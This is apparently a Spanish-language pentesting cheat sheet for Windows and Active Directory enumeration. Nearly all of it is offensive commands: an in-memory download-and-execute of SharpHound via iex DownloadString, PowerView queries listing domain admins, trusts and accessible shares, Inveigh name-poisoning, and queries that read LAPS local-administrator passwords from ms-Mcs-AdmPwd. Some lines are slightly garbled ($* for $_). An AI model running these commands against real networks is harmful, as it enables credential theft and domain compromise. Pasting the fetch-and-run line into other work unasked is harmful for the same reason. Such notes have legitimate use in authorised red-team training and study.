Comment on page
Enumeracion
Sysinternals de Windows
$ Get-ComputerInfo
- Descargar en memoria scripts
$ iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'))
- comprobar si un equipo no tiene parches de seguridad instalados
$ HOSTNAME.EXE
$ Get-WmiObject -Class win32_OperatingSystem | select version,buildnumber
$ wmic qfe list full | findstr /i hotfix
En la web https://patchchecker.com/ podemos encontrar, según la versión de build de Windows, qué vulnerabilidades le afectarían debido a falta de actualizaciones, y puede ser usado para escalar privilegios.
. .\ADRecon.ps1
- ver maquina del DC
get-netcomputer
- Listar los usuarios del dominio
Get-DomainUser | select -ExpandProperty cn
- Listar los equipos del dominio
Get-DomainComputer
- Listar los dominios del forest
Get-ForestDomain
- Listar los tipos de "confianza" (trust) de los dominios/forest
Get-DomainTrust
Get-ForestTrust
- La información de un grupo del dominio
Get-DomainGroup "Domain Admins"
- Listar los miembros de un grupo del dominio
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername
- Listar shares del dominio, ignorando los default shares y check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname
- Listar política de contraseñas
(Get-DomainPolicy)."SystemAccess"
- Usuarios con el SID History (powerview)
Get-DomainUser -LDAPFilter '(sidHistory=*)'
- Listar shares del dominio que el usuario actual tiene acceso
Find-DomainShare -CheckShareAccess
- Comprobar configuracion de bitlocker
manage-bde.exe -status
Invoke-Inveigh -HTTP N -NBNS Y -ConsoleOutput Y -EvadeRG Y
Install-Module -Name [AdmPwd.PS](http://admpwd.ps/)
- Si LAPS se encuentra instalado en el equipo
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
- Identificar si se encuentra instalado en el DC
Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'
- Listar el atributo ms-mcs-admpwd
Get-NetComputer | Select-Object 'name','ms-mcs-admpwd'
Get-DomainComputer -identity <Hostname> -properties ms-Mcs-AdmPwd
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
- Lista el usuario o grupos que tienen permisos de lectura a la propiedad de LAPS para un equipo específico
Get-NetComputer -ComputerName 'LAPSCLIENT.test.local' -FullData | Select-Object -ExpandProperty distinguishedname | ForEach-Object { $*.substring($*.indexof('OU')) } | ForEach-Object {Get-ObjectAcl -ResolveGUIDs -DistinguishedName $*} | Where-Object {($*.ObjectType -like 'ms-Mcs-AdmPwd') -and ($*.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {Convert-NameToSid $*.IdentityReference} | Select-Object -ExpandProperty SID | Get-ADObject
- Listar la ACL para todas las OU donde algún usuario tenga permisos de lectura sobre el atributo LAPS
Get-NetOU | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -like 'mc-ms-AdmPw') -and ($_.ActiveDirectoryRights -match 'ReadProperty')}| ForEach-Object{$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;$_}
Es la herramienta por excelencia para la enumeración de un dominio.
Last modified 1yr ago